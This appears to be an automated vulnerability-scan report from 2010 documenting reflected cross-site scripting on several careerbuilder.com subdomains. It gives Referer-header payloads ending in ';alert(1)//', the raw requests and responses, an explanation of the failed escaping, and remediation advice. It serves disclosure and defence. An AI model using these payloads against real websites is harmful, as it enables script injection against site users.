HTTP/1.1 200 OK Cache-Control: private Content-Length: 178511 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=d193d2da2f994068ae657613801ae0a8-343071124-w3-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650FB3E98C5C6ACE11D9685489390208AED573FA9BEA306C08C8D484265D82B21A041C676380FDD7F8C; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:32:03 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:47:04 GMT; path=/ X-Powered-By: ASP.NET X-PBY: BEAR3 Date: Sun, 14 Nov 2010 22:32:03 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 39b7f\\';alert(1)//fd1e68bc403'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 894b3\'%3balert(1)//7ba9f980d81 was submitted in the Referer HTTP header. This input was echoed as 894b3\\';alert(1)//7ba9f980d81 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /np.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh044 HTTP/1.1 Host: nonprofit.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=894b3\'%3balert(1)//7ba9f980d81
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 178283 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=d1473c69403a49ec8ebf9e0ea519a1f2-343071265-w7-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC65003EC1B87CBB6BA70922E8656A0D1888FB8AC077BB762524C6F01FCDC17C1566B91C57542DB6721A1; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:34:25 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:49:25 GMT; path=/ X-Powered-By: ASP.NET X-PBY: BEAR7 Date: Sun, 14 Nov 2010 22:34:25 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 894b3\\';alert(1)//7ba9f980d81'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5a1b3\'%3balert(1)//35ad406e06b was submitted in the Referer HTTP header. This input was echoed as 5a1b3\\';alert(1)//35ad406e06b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /sm.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh046 HTTP/1.1 Host: sales-marketing.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=5a1b3\'%3balert(1)//35ad406e06b
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 185161 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=969fc5e9d56b46f2ab1affc80cf3c931-343071308-wo-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650949AF606F12902D971680E2256E03A6D1DC28E63FEEF26AA0BF55E551F7266D494F439889C4F5AF9; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:35:08 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:50:08 GMT; path=/ X-Powered-By: ASP.NET X-PBY: BEAR25 Date: Sun, 14 Nov 2010 22:35:08 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 5a1b3\\';alert(1)//35ad406e06b'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 27a8f\'%3balert(1)//6e670ded9a4 was submitted in the Referer HTTP header. This input was echoed as 27a8f\\';alert(1)//6e670ded9a4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /sm.ic/Florida_Miami/ HTTP/1.1 Host: sales-marketing.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=27a8f\'%3balert(1)//6e670ded9a4
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 185266 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=e65ed342f27d4238af6d8621f0503b2c-343071157-wd-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC65061E70695D1D1345551E477D9E9B188738F617418ADB3368BC5C74550A70AA3BF5FB06EFA92CB48E3; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:32:37 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:47:37 GMT; path=/ X-Powered-By: ASP.NET X-PBY: BEAR14 Date: Sun, 14 Nov 2010 22:32:37 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 27a8f\\';alert(1)//6e670ded9a4'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
Report generated by Hoyt LLC at Sun Nov 14 18:00:02 CST 2010.